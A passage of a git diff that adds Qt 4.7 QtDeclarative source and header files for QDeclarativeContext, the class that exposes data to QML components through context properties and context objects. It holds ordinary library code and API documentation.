+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativecontext.h"
+#include "private/qdeclarativecontext_p.h"
+
+#include "private/qdeclarativecomponent_p.h"
+#include "private/qdeclarativeexpression_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "qdeclarativeengine.h"
+#include "private/qdeclarativecompiledbindings_p.h"
+#include "qdeclarativeinfo.h"
+#include "private/qdeclarativeglobalscriptclass_p.h"
+
+#include <qscriptengine.h>
+#include <QtCore/qvarlengtharray.h>
+#include <QtCore/qdebug.h>
+
+#include <private/qscriptdeclarativeclass_p.h>
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeContextPrivate::QDeclarativeContextPrivate()
+: data(0), notifyIndex(-1)
+{
+}
+
+/*!
+ \class QDeclarativeContext
+ \since 4.7
+ \brief The QDeclarativeContext class defines a context within a QML engine.
+ \mainclass
+
+ Contexts allow data to be exposed to the QML components instantiated by the
+ QML engine.
+
+ Each QDeclarativeContext contains a set of properties, distinct from its QObject
+ properties, that allow data to be explicitly bound to a context by name. The
+ context properties are defined and updated by calling
+ QDeclarativeContext::setContextProperty(). The following example shows a Qt model
+ being bound to a context and then accessed from a QML file.
+
+ \code
+ QDeclarativeEngine engine;
+ QStringListModel modelData;
+ QDeclarativeContext *context = new QDeclarativeContext(engine.rootContext());
+ context->setContextProperty("myModel", &modelData);
+
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\nListView { model: myModel }", QUrl());
+ QObject *window = component.create(context);
+ \endcode
+
+ Note it is the responsibility of the creator to delete any QDeclarativeContext it
+ constructs. If the \c context object in the example is no longer needed when the
+ \c window component instance is destroyed, the \c context must be destroyed explicitly.
+ The simplest way to ensure this is to set \c window as the parent of \c context.
+
+ To simplify binding and maintaining larger data sets, a context object can be set
+ on a QDeclarativeContext. All the properties of the context object are available
+ by name in the context, as though they were all individually added through calls
+ to QDeclarativeContext::setContextProperty(). Changes to the property's values are
+ detected through the property's notify signal. Setting a context object is both
+ faster and easier than manually adding and maintaing context property values.
+
+ The following example has the same effect as the previous one, but it uses a context
+ object.
+
+ \code
+ class MyDataSet : ... {
+ ...
+ Q_PROPERTY(QAbstractItemModel *myModel READ model NOTIFY modelChanged)
+ ...
+ };
+
+ MyDataSet myDataSet;
+ QDeclarativeEngine engine;
+ QDeclarativeContext *context = new QDeclarativeContext(engine.rootContext());
+ context->setContextObject(&myDataSet);
+
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\nListView { model: myModel }", QUrl());
+ component.create(context);
+ \endcode
+
+ All properties added explicitly by QDeclarativeContext::setContextProperty() take
+ precedence over the context object's properties.
+
+ \section2 The Context Hierarchy
+
+ Contexts form a hierarchy. The root of this hierarchy is the QML engine's
+ \l {QDeclarativeEngine::rootContext()}{root context}. Child contexts inherit
+ the context properties of their parents; if a child context sets a context property
+ that already exists in its parent, the new context property overrides that of the
+ parent.
+
+ The following example defines two contexts - \c context1 and \c context2. The
+ second context overrides the "b" context property inherited from the first with a
+ new value.
+
+ \code
+ QDeclarativeEngine engine;
+ QDeclarativeContext *context1 = new QDeclarativeContext(engine.rootContext());
+ QDeclarativeContext *context2 = new QDeclarativeContext(context1);
+
+ context1->setContextProperty("a", 12);
+ context1->setContextProperty("b", 12);
+
+ context2->setContextProperty("b", 15);
+ \endcode
+
+ While QML objects instantiated in a context are not strictly owned by that
+ context, their bindings are. If a context is destroyed, the property bindings of
+ outstanding QML objects will stop evaluating.
+
+ \warning Setting the context object or adding new context properties after an object
+ has been created in that context is an expensive operation (essentially forcing all bindings
+ to reevaluate). Thus whenever possible you should complete "setup" of the context
+ before using it to create any objects.
+
+ \sa {Using QML Bindings in C++ Applications}
+*/
+
+/*! \internal */
+QDeclarativeContext::QDeclarativeContext(QDeclarativeEngine *e, bool)
+: QObject(*(new QDeclarativeContextPrivate))
+{
+ Q_D(QDeclarativeContext);
+ d->data = new QDeclarativeContextData(this);
+
+ d->data->engine = e;
+}
+
+/*!
+ Create a new QDeclarativeContext as a child of \a engine's root context, and the
+ QObject \a parent.
+*/
+QDeclarativeContext::QDeclarativeContext(QDeclarativeEngine *engine, QObject *parent)
+: QObject(*(new QDeclarativeContextPrivate), parent)
+{
+ Q_D(QDeclarativeContext);
+ d->data = new QDeclarativeContextData(this);
+
+ d->data->setParent(engine?QDeclarativeContextData::get(engine->rootContext()):0);
+}
+
+/*!
+ Create a new QDeclarativeContext with the given \a parentContext, and the
+ QObject \a parent.
+*/
+QDeclarativeContext::QDeclarativeContext(QDeclarativeContext *parentContext, QObject *parent)
+: QObject(*(new QDeclarativeContextPrivate), parent)
+{
+ Q_D(QDeclarativeContext);
+ d->data = new QDeclarativeContextData(this);
+
+ d->data->setParent(parentContext?QDeclarativeContextData::get(parentContext):0);
+}
+
+/*!
+ \internal
+*/
+QDeclarativeContext::QDeclarativeContext(QDeclarativeContextData *data)
+: QObject(*(new QDeclarativeContextPrivate), 0)
+{
+ Q_D(QDeclarativeContext);
+ d->data = data;
+}
+
+/*!
+ Destroys the QDeclarativeContext.
+
+ Any expressions, or sub-contexts dependent on this context will be
+ invalidated, but not destroyed (unless they are parented to the QDeclarativeContext
+ object).
+ */
+QDeclarativeContext::~QDeclarativeContext()
+{
+ Q_D(QDeclarativeContext);
+
+ if (!d->data->isInternal)
+ d->data->destroy();
+}
+
+/*!
+ Returns whether the context is valid.
+
+ To be valid, a context must have a engine, and it's contextObject(), if any,
+ must not have been deleted.
+*/
+bool QDeclarativeContext::isValid() const
+{
+ Q_D(const QDeclarativeContext);
+ return d->data && d->data->isValid();
+}
+
+/*!
+ Return the context's QDeclarativeEngine, or 0 if the context has no QDeclarativeEngine or the
+ QDeclarativeEngine was destroyed.
+*/
+QDeclarativeEngine *QDeclarativeContext::engine() const
+{
+ Q_D(const QDeclarativeContext);
+ return d->data->engine;
+}
+
+/*!
+ Return the context's parent QDeclarativeContext, or 0 if this context has no
+ parent or if the parent has been destroyed.
+*/
+QDeclarativeContext *QDeclarativeContext::parentContext() const
+{
+ Q_D(const QDeclarativeContext);
+ return d->data->parent?d->data->parent->asQDeclarativeContext():0;
+}
+
+/*!
+ Return the context object, or 0 if there is no context object.
+*/
+QObject *QDeclarativeContext::contextObject() const
+{
+ Q_D(const QDeclarativeContext);
+ return d->data->contextObject;
+}
+
+/*!
+ Set the context \a object.
+*/
+void QDeclarativeContext::setContextObject(QObject *object)
+{
+ Q_D(QDeclarativeContext);
+
+ QDeclarativeContextData *data = d->data;
+
+ if (data->isInternal) {
+ qWarning("QDeclarativeContext: Cannot set context object for internal context.");
+ return;
+ }
+
+ if (!isValid()) {
+ qWarning("QDeclarativeContext: Cannot set context object on invalid context.");
+ return;
+ }
+
+ data->contextObject = object;
+}
+
+/*!
+ Set a the \a value of the \a name property on this context.
+*/
+void QDeclarativeContext::setContextProperty(const QString &name, const QVariant &value)
+{
+ Q_D(QDeclarativeContext);
+ if (d->notifyIndex == -1)
+ d->notifyIndex = this->metaObject()->methodCount();
+
+ QDeclarativeContextData *data = d->data;
+
+ if (data->isInternal) {
+ qWarning("QDeclarativeContext: Cannot set property on internal context.");
+ return;
+ }
+
+ if (!isValid()) {
+ qWarning("QDeclarativeContext: Cannot set property on invalid context.");
+ return;
+ }
+
+ if (data->engine) {
+ bool ok;
+ QObject *o = QDeclarativeEnginePrivate::get(data->engine)->toQObject(value, &ok);
+ if (ok) {
+ setContextProperty(name, o);
+ return;
+ }
+ }
+
+ if (!data->propertyNames) data->propertyNames = new QDeclarativeIntegerCache(data->engine);
+
+ int idx = data->propertyNames->value(name);
+ if (idx == -1) {
+ data->propertyNames->add(name, data->idValueCount + d->propertyValues.count());
+ d->propertyValues.append(value);
+
+ data->refreshExpressions();
+ } else {
+ d->propertyValues[idx] = value;
+ QMetaObject::activate(this, idx + d->notifyIndex, 0);
+ }
+}
+
+/*!
+ Set the \a value of the \a name property on this context.
+
+ QDeclarativeContext does \bold not take ownership of \a value.
+*/
+void QDeclarativeContext::setContextProperty(const QString &name, QObject *value)
+{
+ Q_D(QDeclarativeContext);
+ if (d->notifyIndex == -1)
+ d->notifyIndex = this->metaObject()->methodCount();
+
+ QDeclarativeContextData *data = d->data;
+
+ if (data->isInternal) {
+ qWarning("QDeclarativeContext: Cannot set property on internal context.");
+ return;
+ }
+
+ if (!isValid()) {
+ qWarning("QDeclarativeContext: Cannot set property on invalid context.");
+ return;
+ }
+
+ if (!data->propertyNames) data->propertyNames = new QDeclarativeIntegerCache(data->engine);
+ int idx = data->propertyNames->value(name);
+
+ if (idx == -1) {
+ data->propertyNames->add(name, data->idValueCount + d->propertyValues.count());
+ d->propertyValues.append(QVariant::fromValue(value));
+
+ data->refreshExpressions();
+ } else {
+ d->propertyValues[idx] = QVariant::fromValue(value);
+ QMetaObject::activate(this, idx + d->notifyIndex, 0);
+ }
+}
+
+/*!
+ Returns the value of the \a name property for this context
+ as a QVariant.
+ */
+QVariant QDeclarativeContext::contextProperty(const QString &name) const
+{
+ Q_D(const QDeclarativeContext);
+ QVariant value;
+ int idx = -1;
+
+ QDeclarativeContextData *data = d->data;
+
+ if (data->propertyNames)
+ idx = data->propertyNames->value(name);
+
+ if (idx == -1) {
+ QByteArray utf8Name = name.toUtf8();
+ if (data->contextObject) {
+ QObject *obj = data->contextObject;
+ QDeclarativePropertyCache::Data local;
+ QDeclarativePropertyCache::Data *property =
+ QDeclarativePropertyCache::property(data->engine, obj, name, local);
+
+ if (property) value = obj->metaObject()->property(property->coreIndex).read(obj);
+ }
+ if (!value.isValid() && parentContext())
+ value = parentContext()->contextProperty(name);
+ } else {
+ if (idx >= d->propertyValues.count())
+ value = QVariant::fromValue(data->idValues[idx - d->propertyValues.count()].data());
+ else
+ value = d->propertyValues[idx];
+ }
+
+ return value;
+}
+
+/*!
+ Resolves the URL \a src relative to the URL of the
+ containing component.
+
+ \sa QDeclarativeEngine::baseUrl(), setBaseUrl()
+*/
+QUrl QDeclarativeContext::resolvedUrl(const QUrl &src)
+{
+ Q_D(QDeclarativeContext);
+ return d->data->resolvedUrl(src);
+}
+
+QUrl QDeclarativeContextData::resolvedUrl(const QUrl &src)
+{
+ QDeclarativeContextData *ctxt = this;
+
+ if (src.isRelative() && !src.isEmpty()) {
+ if (ctxt) {
+ while(ctxt) {
+ if(ctxt->url.isValid())
+ break;
+ else
+ ctxt = ctxt->parent;
+ }
+
+ if (ctxt)
+ return ctxt->url.resolved(src);
+ else if (engine)
+ return engine->baseUrl().resolved(src);
+ }
+ return QUrl();
+ } else {
+ return src;
+ }
+}
+
+
+/*!
+ Explicitly sets the url resolvedUrl() will use for relative references to \a baseUrl.
+
+ Calling this function will override the url of the containing
+ component used by default.
+
+ \sa resolvedUrl()
+*/
+void QDeclarativeContext::setBaseUrl(const QUrl &baseUrl)
+{
+ Q_D(QDeclarativeContext);
+
+ d->data->url = baseUrl;
+}
+
+/*!
+ Returns the base url of the component, or the containing component
+ if none is set.
+*/
+QUrl QDeclarativeContext::baseUrl() const
+{
+ Q_D(const QDeclarativeContext);
+ const QDeclarativeContextData* data = d->data;
+ while (data && data->url.isEmpty())
+ data = data->parent;
+
+ if (data)
+ return data->url;
+ else
+ return QUrl();
+}
+
+int QDeclarativeContextPrivate::context_count(QDeclarativeListProperty<QObject> *prop)
+{
+ QDeclarativeContext *context = static_cast<QDeclarativeContext*>(prop->object);
+ QDeclarativeContextPrivate *d = QDeclarativeContextPrivate::get(context);
+ int contextProperty = (int)(quintptr)prop->data;
+
+ if (d->propertyValues.at(contextProperty).userType() != qMetaTypeId<QList<QObject*> >()) {
+ return 0;
+ } else {
+ return ((const QList<QObject> *)d->propertyValues.at(contextProperty).constData())->count();
+ }
+}
+
+QObject *QDeclarativeContextPrivate::context_at(QDeclarativeListProperty<QObject> *prop, int index)
+{
+ QDeclarativeContext *context = static_cast<QDeclarativeContext*>(prop->object);
+ QDeclarativeContextPrivate *d = QDeclarativeContextPrivate::get(context);
+ int contextProperty = (int)(quintptr)prop->data;
+
+ if (d->propertyValues.at(contextProperty).userType() != qMetaTypeId<QList<QObject*> >()) {
+ return 0;
+ } else {
+ return ((const QList<QObject*> *)d->propertyValues.at(contextProperty).constData())->at(index);
+ }
+}
+
+
+QDeclarativeContextData::QDeclarativeContextData()
+: parent(0), engine(0), isInternal(false), publicContext(0), propertyNames(0), contextObject(0),
+ imports(0), childContexts(0), nextChild(0), prevChild(0), expressions(0), contextObjects(0),
+ contextGuards(0), idValues(0), idValueCount(0), optimizedBindings(0), linkedContext(0),
+ componentAttached(0)
+{
+}
+
+QDeclarativeContextData::QDeclarativeContextData(QDeclarativeContext *ctxt)
+: parent(0), engine(0), isInternal(false), publicContext(ctxt), propertyNames(0), contextObject(0),
+ imports(0), childContexts(0), nextChild(0), prevChild(0), expressions(0), contextObjects(0),
+ contextGuards(0), idValues(0), idValueCount(0), optimizedBindings(0), linkedContext(0),
+ componentAttached(0)
+{
+}
+
+void QDeclarativeContextData::invalidate()
+{
+ while (childContexts)
+ childContexts->invalidate();
+
+ while (componentAttached) {
+ QDeclarativeComponentAttached *a = componentAttached;
+ componentAttached = a->next;
+ if (componentAttached) componentAttached->prev = &componentAttached;
+
+ a->next = 0;
+ a->prev = 0;
+
+ emit a->destruction();
+ }
+
+ if (prevChild) {
+ *prevChild = nextChild;
+ if (nextChild) nextChild->prevChild = prevChild;
+ nextChild = 0;
+ prevChild = 0;
+ }
+
+ engine = 0;
+ parent = 0;
+}
+
+void QDeclarativeContextData::clearContext()
+{
+ if (engine) {
+ while (componentAttached) {
+ QDeclarativeComponentAttached *a = componentAttached;
+ componentAttached = a->next;
+ if (componentAttached) componentAttached->prev = &componentAttached;
+
+ a->next = 0;
+ a->prev = 0;
+
+ emit a->destruction();
+ }
+ }
+
+ QDeclarativeAbstractExpression *expression = expressions;
+ while (expression) {
+ QDeclarativeAbstractExpression *nextExpression = expression->m_nextExpression;
+
+ expression->m_context = 0;
+ expression->m_prevExpression = 0;
+ expression->m_nextExpression = 0;
+
+ expression = nextExpression;
+ }
+ expressions = 0;
+}
+
+void QDeclarativeContextData::destroy()
+{
+ if (linkedContext)
+ linkedContext->destroy();
+
+ if (engine) invalidate();
+
+ clearContext();
+
+ while (contextObjects) {
+ QDeclarativeData *co = contextObjects;
+ contextObjects = contextObjects->nextContextObject;
+
+ co->context = 0;
+ co->outerContext = 0;
+ co->nextContextObject = 0;
+ co->prevContextObject = 0;
+ }
+
+ QDeclarativeGuardedContextData *contextGuard = contextGuards;
+ while (contextGuard) {
+ QDeclarativeGuardedContextData *next = contextGuard->m_next;
+ contextGuard->m_next = 0;
+ contextGuard->m_prev = 0;
+ contextGuard->m_contextData = 0;
+ contextGuard = next;
+ }
+ contextGuards = 0;
+
+ if (propertyNames)
+ propertyNames->release();
+
+ if (imports)
+ imports->release();
+
+ if (optimizedBindings)
+ optimizedBindings->release();
+
+ delete [] idValues;
+
+ if (isInternal)
+ delete publicContext;
+
+ delete this;
+}
+
+void QDeclarativeContextData::setParent(QDeclarativeContextData *p)
+{
+ if (p) {
+ parent = p;
+ engine = p->engine;
+ nextChild = p->childContexts;
+ if (nextChild) nextChild->prevChild = &nextChild;
+ prevChild = &p->childContexts;
+ p->childContexts = this;
+ }
+}
+
+/*
+Refreshes all expressions that could possibly depend on this context. Refreshing flushes all
+context-tree dependent caches in the expressions, and should occur every time the context tree
+ *structure* (not values) changes.
+*/
+void QDeclarativeContextData::refreshExpressions()
+{
+ QDeclarativeContextData *child = childContexts;
+ while (child) {
+ child->refreshExpressions();
+ child = child->nextChild;
+ }
+
+ QDeclarativeAbstractExpression *expression = expressions;
+ while (expression) {
+ expression->refresh();
+ expression = expression->m_nextExpression;
+ }
+}
+
+void QDeclarativeContextData::addObject(QObject *o)
+{
+ QDeclarativeData *data = QDeclarativeData::get(o, true);
+
+ Q_ASSERT(data->context == 0);
+
+ data->context = this;
+ data->outerContext = this;
+
+ data->nextContextObject = contextObjects;
+ if (data->nextContextObject)
+ data->nextContextObject->prevContextObject = &data->nextContextObject;
+ data->prevContextObject = &contextObjects;
+ contextObjects = data;
+}
+
+void QDeclarativeContextData::addImportedScript(const QDeclarativeParser::Object::ScriptBlock &script)
+{
+ if (!engine)
+ return;
+
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ const QString &code = script.code;
+ const QString &url = script.file;
+ const QDeclarativeParser::Object::ScriptBlock::Pragmas &pragmas = script.pragmas;
+
+ Q_ASSERT(!url.isEmpty());
+
+ if (pragmas & QDeclarativeParser::Object::ScriptBlock::Shared) {
+
+ QHash<QString, QScriptValue>::Iterator iter = enginePriv->m_sharedScriptImports.find(url);
+ if (iter == enginePriv->m_sharedScriptImports.end()) {
+ QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(scriptEngine);
+
+ scriptContext->pushScope(enginePriv->contextClass->newUrlContext(url));
+ scriptContext->pushScope(enginePriv->globalClass->staticGlobalObject());
+
+ QScriptValue scope = QScriptDeclarativeClass::newStaticScopeObject(scriptEngine);
+ scriptContext->pushScope(scope);
+
+ scriptEngine->evaluate(code, url, 1);
+
+ if (scriptEngine->hasUncaughtException()) {
+ QDeclarativeError error;
+ QDeclarativeExpressionPrivate::exceptionToError(scriptEngine, error);
+ enginePriv->warning(error);
+ }
+
+ scriptEngine->popContext();
+
+ iter = enginePriv->m_sharedScriptImports.insert(url, scope);
+ }
+
+ importedScripts.append(*iter);
+
+ } else {
+
+ QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(scriptEngine);
+
+ scriptContext->pushScope(enginePriv->contextClass->newUrlContext(this, 0, url));
+ scriptContext->pushScope(enginePriv->globalClass->staticGlobalObject());
+
+ QScriptValue scope = QScriptDeclarativeClass::newStaticScopeObject(scriptEngine);
+ scriptContext->pushScope(scope);
+
+ scriptEngine->evaluate(code, url, 1);
+
+ if (scriptEngine->hasUncaughtException()) {
+ QDeclarativeError error;
+ QDeclarativeExpressionPrivate::exceptionToError(scriptEngine, error);
+ enginePriv->warning(error);
+ }
+
+ scriptEngine->popContext();
+
+ importedScripts.append(scope);
+
+ }
+}
+
+void QDeclarativeContextData::setIdProperty(int idx, QObject *obj)
+{
+ idValues[idx] = obj;
+ idValues[idx].context = this;
+}
+
+void QDeclarativeContextData::setIdPropertyData(QDeclarativeIntegerCache *data)
+{
+ Q_ASSERT(!propertyNames);
+ propertyNames = data;
+ propertyNames->addref();
+
+ idValueCount = data->count();
+ idValues = new ContextGuard[idValueCount];
+}
+
+QString QDeclarativeContextData::findObjectId(const QObject *obj) const
+{
+ if (!idValues || !propertyNames)
+ return QString();
+
+ for (int i=0; i<idValueCount; i++) {
+ if (idValues[i] == obj)
+ return propertyNames->findId(i);
+ }
+
+ if (linkedContext)
+ return linkedContext->findObjectId(obj);
+ return QString();
+}
+
+QDeclarativeContext *QDeclarativeContextData::asQDeclarativeContext()
+{
+ if (!publicContext)
+ publicContext = new QDeclarativeContext(this);
+ return publicContext;
+}
+
+QDeclarativeContextPrivate *QDeclarativeContextData::asQDeclarativeContextPrivate()
+{
+ return QDeclarativeContextPrivate::get(asQDeclarativeContext());
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecontext.h b/src/declarative/qml/qdeclarativecontext.h
new file mode 100644
index 00000000..d89e1609
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecontext.h
@@ -0,0 +1,114 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVECONTEXT_H
+#define QDECLARATIVECONTEXT_H
+
+#include <QtCore/qurl.h>
+#include <QtCore/qobject.h>
+#include <QtScript/qscriptvalue.h>
+#include <QtCore/qmetatype.h>
+#include <QtCore/qvariant.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QString;
+class QDeclarativeEngine;
+class QDeclarativeRefCount;
+class QDeclarativeContextPrivate;
+class QDeclarativeCompositeTypeData;
+class QDeclarativeContextData;
+
+class Q_DECLARATIVE_EXPORT QDeclarativeContext : public QObject
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeContext)
+
+public:
+ QDeclarativeContext(QDeclarativeEngine *parent, QObject *objParent=0);
+ QDeclarativeContext(QDeclarativeContext *parent, QObject *objParent=0);
+ virtual ~QDeclarativeContext();
+
+ bool isValid() const;
+
+ QDeclarativeEngine *engine() const;
+ QDeclarativeContext *parentContext() const;
+
+ QObject *contextObject() const;
+ void setContextObject(QObject *);
+
+ QVariant contextProperty(const QString &) const;
+ void setContextProperty(const QString &, QObject *);
+ void setContextProperty(const QString &, const QVariant &);
+
+ QUrl resolvedUrl(const QUrl &);
+
+ void setBaseUrl(const QUrl &);
+ QUrl baseUrl() const;
+
+private:
+ friend class QDeclarativeVME;
+ friend class QDeclarativeEngine;
+ friend class QDeclarativeEnginePrivate;
+ friend class QDeclarativeExpression;
+ friend class QDeclarativeExpressionPrivate;
+ friend class QDeclarativeContextScriptClass;
+ friend class QDeclarativeObjectScriptClass;
+ friend class QDeclarativeComponent;
+ friend class QDeclarativeComponentPrivate;
+ friend class QDeclarativeScriptPrivate;
+ friend class QDeclarativeBoundSignalProxy;
+ friend class QDeclarativeContextData;
+ QDeclarativeContext(QDeclarativeContextData *);
+ QDeclarativeContext(QDeclarativeEngine *, bool);
+ Q_DISABLE_COPY(QDeclarativeContext)
+};
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QList<QObject*>)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVECONTEXT_H
diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h
new file mode 100644
index 00000000..a65fc271
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecontext_p.h
@@ -0,0 +1,292 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVECONTEXT_P_H
+#define QDECLARATIVECONTEXT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativecontext.h"
+
+#include "private/qdeclarativedata_p.h"
+#include "private/qdeclarativeintegercache_p.h"
+#include "private/qdeclarativetypenamecache_p.h"
+#include "private/qdeclarativenotifier_p.h"
+#include "qdeclarativelist.h"
+#include "private/qdeclarativeparser_p.h"
+
+#include <QtCore/qhash.h>
+#include <QtScript/qscriptvalue.h>
+#include <QtCore/qset.h>
+
+#include <private/qobject_p.h>
+#include "private/qdeclarativeguard_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeContext;
+class QDeclarativeExpression;
+class QDeclarativeEngine;
+class QDeclarativeExpression;
+class QDeclarativeExpressionPrivate;
+class QDeclarativeAbstractExpression;
+class QDeclarativeCompiledBindings;
+class QDeclarativeContextData;
+
+class QDeclarativeContextPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeContext)
+public:
+ QDeclarativeContextPrivate();
+
+ QDeclarativeContextData *data;
+
+ QList<QVariant> propertyValues;
+ int notifyIndex;
+
+ static QDeclarativeContextPrivate *get(QDeclarativeContext *context) {
+ return static_cast<QDeclarativeContextPrivate *>(QObjectPrivate::get(context));
+ }
+ static QDeclarativeContext *get(QDeclarativeContextPrivate *context) {
+ return static_cast<QDeclarativeContext *>(context->q_func());
+ }
+
+ // Only used for debugging
+ QList<QPointer<QObject> > instances;
+
+ static int context_count(QDeclarativeListProperty<QObject> *);
+ static QObject *context_at(QDeclarativeListProperty<QObject> *, int);
+};
+
+class QDeclarativeComponentAttached;
+class QDeclarativeGuardedContextData;
+class Q_AUTOTEST_EXPORT QDeclarativeContextData
+{
+public:
+ QDeclarativeContextData();
+ QDeclarativeContextData(QDeclarativeContext *);
+ void clearContext();
+ void destroy();
+ void invalidate();
+
+ inline bool isValid() const {
+ return engine && (!isInternal || !contextObject || !QObjectPrivate::get(contextObject)->wasDeleted);
+ }
+
+ // My parent context and engine
+ QDeclarativeContextData *parent;
+ QDeclarativeEngine *engine;
+
+ void setParent(QDeclarativeContextData *);
+ void refreshExpressions();
+
+ void addObject(QObject *);
+
+ QUrl resolvedUrl(const QUrl &);
+
+ // My containing QDeclarativeContext. If isInternal is true this owns publicContext.
+ // If internal is false publicContext owns this.
+ QDeclarativeContext *asQDeclarativeContext();
+ QDeclarativeContextPrivate *asQDeclarativeContextPrivate();
+ bool isInternal;
+ QDeclarativeContext *publicContext;
+
+ // Property name cache
+ QDeclarativeIntegerCache *propertyNames;
+
+ // Context object
+ QObject *contextObject;
+
+ // Any script blocks that exist on this context
+ QList<QScriptValue> importedScripts;
+ void addImportedScript(const QDeclarativeParser::Object::ScriptBlock &script);
+
+ // Context base url
+ QUrl url;
+
+ // List of imports that apply to this context
+ QDeclarativeTypeNameCache *imports;
+
+ // My children
+ QDeclarativeContextData *childContexts;
+
+ // My peers in parent's childContexts list
+ QDeclarativeContextData *nextChild;
+ QDeclarativeContextData **prevChild;
+
+ // Expressions that use this context
+ QDeclarativeAbstractExpression *expressions;
+
+ // Doubly-linked list of objects that are owned by this context
+ QDeclarativeData *contextObjects;
+
+ // Doubly-linked list of context guards (XXX merge with contextObjects)
+ QDeclarativeGuardedContextData *contextGuards;
+
+ // id guards
+ struct ContextGuard : public QDeclarativeGuard<QObject>
+ {
+ ContextGuard() : context(0) {}
+ inline ContextGuard &operator=(QObject *obj)
+ { QDeclarativeGuard<QObject>::operator=(obj); return *this; }
+ virtual void objectDestroyed(QObject *) {
+ if (context->contextObject && !QObjectPrivate::get(context->contextObject)->wasDeleted) bindings.notify();
+ }
+ QDeclarativeContextData *context;
+ QDeclarativeNotifier bindings;
+ };
+ ContextGuard *idValues;
+ int idValueCount;
+ void setIdProperty(int, QObject *);
+ void setIdPropertyData(QDeclarativeIntegerCache *);
+
+ // Optimized binding pointer
+ QDeclarativeCompiledBindings *optimizedBindings;
+
+ // Linked contexts. this owns linkedContext.
+ QDeclarativeContextData *linkedContext;
+
+ // Linked list of uses of the Component attached property in this
+ // context
+ QDeclarativeComponentAttached *componentAttached;
+
+ // Return the outermost id for obj, if any.
+ QString findObjectId(const QObject *obj) const;
+
+ static QDeclarativeContextData *get(QDeclarativeContext *context) {
+ return QDeclarativeContextPrivate::get(context)->data;
+ }
+
+private:
+ ~QDeclarativeContextData() {}
+};
+
+class QDeclarativeGuardedContextData
+{
+public:
+ inline QDeclarativeGuardedContextData();
+ inline QDeclarativeGuardedContextData(QDeclarativeContextData *);
+ inline ~QDeclarativeGuardedContextData();
+
+ inline void setContextData(QDeclarativeContextData *);
+
+ inline QDeclarativeContextData *contextData();
+
+ inline operator QDeclarativeContextData*() const { return m_contextData; }
+ inline QDeclarativeContextData* operator->() const { return m_contextData; }
+ inline QDeclarativeGuardedContextData &operator=(QDeclarativeContextData *d);
+
+private:
